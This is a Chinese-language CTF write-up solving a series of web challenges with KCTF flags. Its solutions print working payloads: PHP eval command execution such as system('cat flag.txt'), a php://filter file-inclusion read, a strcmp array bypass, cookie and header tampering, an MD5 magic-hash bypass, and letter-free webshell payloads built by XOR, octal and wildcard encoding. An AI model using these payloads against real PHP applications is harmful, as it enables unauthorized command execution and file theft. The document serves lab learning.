前几天打了Real World CTF 2022,难度不大,脑洞很大...某些题确实只能靠积累和特征(狗头)
Sometimes you need to look wayback
这道题进去是个Discord.js的介绍界面,也没啥思路,所以看源码,发现注释:
<!--Test Bot Source Code: https://github.com/KCTF202x/repo101-->
去看源码,是js,本来想着审计一下,但是好像页面上也没有接口,就尝试看看历史版本,然后在历史提交记录中找到了flag...
长见识了
Do something special
一进页面,发现下面有个Get the flag!按钮,点一下提示404,观察到url有点奇怪
http://do-something-special.kshackzone.com/gr@b_y#ur_fl@g_h3r3!
后面有一些特殊字符,猜测可能是特殊字符的问题,抓包看看
果然,访问的只是#号前面的url,这是因为#在url中代表的是锚点,也就是书签,用于定位到页面的特定位置,所以不会当做url访问。
只需要把#进行url编码%23即可
http://do-something-special.kshackzone.com/gr@b_y%23ur_fl@g_h3r3!
flag:KCTF{Sp3cial_characters_need_t0_get_Url_enc0ded}
Obsfuscation Isn't Enough
一进去是一个登录界面,随便输账号密码登录没反应,看源码,发现了一段奇怪的代码
function validate() { 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}
这也是js代码的一种表达形式,叫做jsfuck,详细介绍可以参见JSFuck - 维基百科,自由的百科全书 (wikipedia.org)
简单来说,这就是js代码的一种表达形式,比如+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])就可以得出Infinity,而这个单词可以用于获取字母(取下标即可)。这样拼接就可以得出所有字母,但是这样得到的代码非常冗长...就是一种混淆的方式
直接找一个jsfuck解密网站解密:UserAgentInfo
解密成功,结果是:
if (document.forms[0].username.value == "83fe2a837a4d4eec61bd47368d86afd6" && document.forms[0].password.value == "a3fa67479e47116a4d6439120400b057") document.location = "150484514b6eeb1d99da836d95f6671d.php"
可以看到输入指定的账号密码之后就会转到150484514b6eeb1d99da836d95f6671d.php,那直接访问就好啦~
flag:KCTF{0bfuscat3d_J4v4Scr1pt_aka_JSFuck}
Zero is not the limit
一进去就显示了一个json数据
{ "user1" : { "name" : "Jhon", "password" : "Jhon123", "id": 1 }, "user2" : { "name" : "Mark", "password" : "mark2468@", "id": 2 }, "user3" : { "name" : "Taison", "password" : "taisonalu@", "id": 3 }, "user4" : { "name" : "Json", "password" : "figmaonalu@", "id": 4 }, "user5" : { "name" : "Altaf", "password" : "altaf2489@", "id": 5 } }
题目提示Hint: You have to think out side from '/user/'.
看来有一个/user/文件夹,尝试访问/user/1/,回显user1的信息。
题目名字叫zero is not the limit,所以直接访问/user/-1/,出flag...
flag:KCTF{tHeRe_1s_n0_l1m1t}
Find Pass Code - 1
进去有个输入框,也不知道是干啥的,所以还是看源码,发现注释:
<!-- Hi Serafin, I learned something new today.I build this website for you to verify our KnightCTF 2022 pass code. You can view the source code by sending the source param-->
要传一个source参数,看到源码:
<?php require "flag.php"; if (isset($_POST["pass_code"])) { if (strcmp($_POST["pass_code"], $flag) == 0 ) { echo "KCTF Flag : {$flag}"; } else { echo "Oh....My....God. You entered the wrong pass code.<br>"; } } if (isset($_GET["source"])) { print show_source(__FILE__); } ?>
当这两个字符串相同的时候会返回0,但我们不知道flag是啥,但是strcmp是可以绕过的:
strcmp字符串比较绕过 | Crayon's blog (crayon-xin.github.io)
所以直接传数组就可以了
payload:POST pass_code[]=1
flag:KCTF{ShOuLd_We_UsE_sTrCmP_lIkE_tHaT}
Most Secure Calculator - 1
一进去是个计算器,第一反应就是SSTI,然后当我输入了{}之后,出现了这样的提示...
我有了个大胆的猜想,这该不会是个纯eval吧...
我战战兢兢地输入了system('ls');
,执行成功...
啥也不说了,送分题。system('cat flag.txt');
,搞定。
flag:KCTF{WaS_mY_cAlCuLaToR_sAfE}(当然不safe了...)
Can you be Admin?
这道题感觉有点脑洞(也可能是积累不够)
一开始显示Only KnightSquad agents can access this page.
agents是关键词,指向User-Agent请求头,抓包改成KnightSquad,出现新提示:
This page refers to knight squad home network. So, Only Knight Squad home network can access this page.
这句话应该是在说内网才能访问,这里确实不太好想。这句话指向的是Referer,Referer是指的来源,那么只要来源是localhost就可以是内网访问了(貌似127.0.0.1都不行)
然后页面上出现了一个登录框,依然是看源码(直接F12就行,如果右键看还需要发一次包),看到了注释
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解码网站解码(如果控制台直接弹是会报错的,需要把最后一对括号删掉,出来是unicode,直接alert弹也行),得到:
F`V,7DIIBn+?CWe@<,q!$?0EpF*DPCA0<oU8RZI/DJ<`sF8
这就纯靠特征了,不过也可以用basecrack自动判断一下:
mufeedvh/basecrack: Decode All Bases - Base Scheme Decoder (github.com)
解码成功,内容是
username : tareq
password : IamKnight
填入,提交,抓包改header,得到了一个Normal User页面
看response里面有一个Set-Cookie
Set-Cookie: VXNlcl9UeXBl=Tm9ybWFsX1VzZXI%3D
先urldecode再base64解码,得到User_Type=Normal_User,直接改成Admin,base64编码再url编码,放到cookie里面再访问,得到Admin页面和flag
flag:KCTF{FiN4LlY_y0u_ar3_4dm1N}
My PHP Site
进去是个欢迎页面,但是url里面有个file=index.html参数很有意思,这道题说了是php,那估计file就是读文件的参数,所以试着换成index.php,显示ERROR!!,应该有过滤,那就用php://filter绕过,?file=php://filter/convert.base64-encode/resource=index.php,得到源码:
<?php if(isset($_GET['file'])){ if ($_GET['file'] == "index.php") { echo "<h1>ERROR!!</h1>"; die(); }else{ include $_GET['file']; } }else{ echo "<h1>You are missing the file parameter</h1>"; #note :- secret location /home/tareq/s3crEt_fl49.txt } ?>
然而如果你直接?file=/home/tareq/s3crEt_fl49.txt是会提示找不到的。直接?file=s3crEt_fl49.txt就可以了(我也不知道为什么要在这里玩我们一把...)
flag:KCTF{L0C4L_F1L3_1ncLu710n}
Bypass!! Bypass!! Bypass!!
进去直接403Forbidden,应该是有验证,看源码发现注释(话说好像出题人很喜欢这么给提示)
<!-- generats auth token -> /api/request/auth_token -->
直接访问,提示Method Not Allowed,换POST,得到auth_token,但是放到哪里呢?
这时候就需要一点经验了。很多时候你以为是黑盒测试,其实可以是白盒...
github搜索/api/request/auth_token,在code结果里面你会发现这样一段代码
这就是相关代码,审计代码发现需要在X-Authorized-For请求头里面写auth_token,抓包改header发请求,跟踪重定向,在最终页面中发现flag
flag:KCTF{cOngRatUlaT10Ns_wElCoMe_t0_y0ur_daShBoaRd}
Find Pass Code - 2
仍然进去直接看源码,注释:
<!-- Hi Serafin, I think you already know how you can view the source code :P-->
传source参数拿到源码
<?php require "flag.php"; $old_pass_codes = array("0e215962017", "0e730083352", "0e807097110", "0e840922711"); $old_pass_flag = false; if (isset($_POST["pass_code"]) && !is_array($_POST["pass_code"])) { foreach ($old_pass_codes as $old_pass_code) { if ($_POST["pass_code"] === $old_pass_code) { $old_pass_flag = true; break; } } if ($old_pass_flag) { echo "Sorry ! It's an old pass code."; } else if ($_POST["pass_code"] == md5($_POST["pass_code"])) { echo "KCTF Flag : {$flag}"; } else { echo "Oh....My....God. You entered the wrong pass code.<br>"; } } if (isset($_GET["source"])) { print show_source(__FILE__); } ?>
关键判定是这一句
else if ($_POST["pass_code"] == md5($_POST["pass_code"])) { echo "KCTF Flag : {$flag}";}
也就是说要找到一个字符串满足$a==md5($a),是弱相等,所以考虑都是0e开头,参考关于php弱类型--MD5
脚本我没跑,随便选一个直接用就好。
payload:POST:pass_code=0e00275209979
flag:KCTF{ShOuD_wE_cOmPaRe_MD5_LiKe_ThAt__Be_SmArT}
Most Secure Calculator - 2
又是计算器,但是应该有变化,先看看源码,发现注释:
The calculator accepts only numbers and symbols.I have hidden some interesting things in flag.txt and I know you can create an interesting equation to read that file.
把字母全都过滤了,考的是无字母webshell
1.发现异或没被过滤,可以用异或进行绕过,原理就是两个字符异或是它们的ascii二进制码进行按位异或,得到的结果再对应字符
这里有一个经验:最好用三个字符进行异或,这样就可以用两个相同的字符造出%00,%00与任意字符异或都是这个字符本身。这样,就可以直接使用那些没被过滤的字符了。
选择一个字符为基准,我选择的是'0',我用的构造脚本:
<?php $str=""; for($i=32;$i<=64;$i++) { $str .= chr($i); } for($i=91;$i<=94;$i++) { $str .= chr($i); } $str .= '`'; for($i=123;$i<=126;$i++) { $str .= chr($i); } print_r($str); for($i=0;$i<strlen($str);$i++) { for($j=0;$j<strlen($str);$j++) { echo $str[$i],' ',$str[$j],' ','0'^$str[$i]^$str[$j];//三个可以造出%00,从而直接使用未被过滤的字符 echo "\n"; } }
然后在里面选就可以了,我的payload:
("@@@@@@"^"3934%-")('00000'^'(*800'^'{{| *')
system('cat *');
2.利用八进制
php可以识别8进制和16进制,8进制需要在8进制ascii码前面加上\,十六进制需要加上\x
payload:("\162\145\141\144\146\151\154\145")("\146\154\141\147\56\164\170\164")
readfile('flag.txt')
3.利用通配符
这道题没有禁止?、/和`,那就还有一个思路,直接用?匹配命令和文件名,然后用反引号进行执行
payload:`/???/??? ????.???`(你会在结尾看到flag的~)
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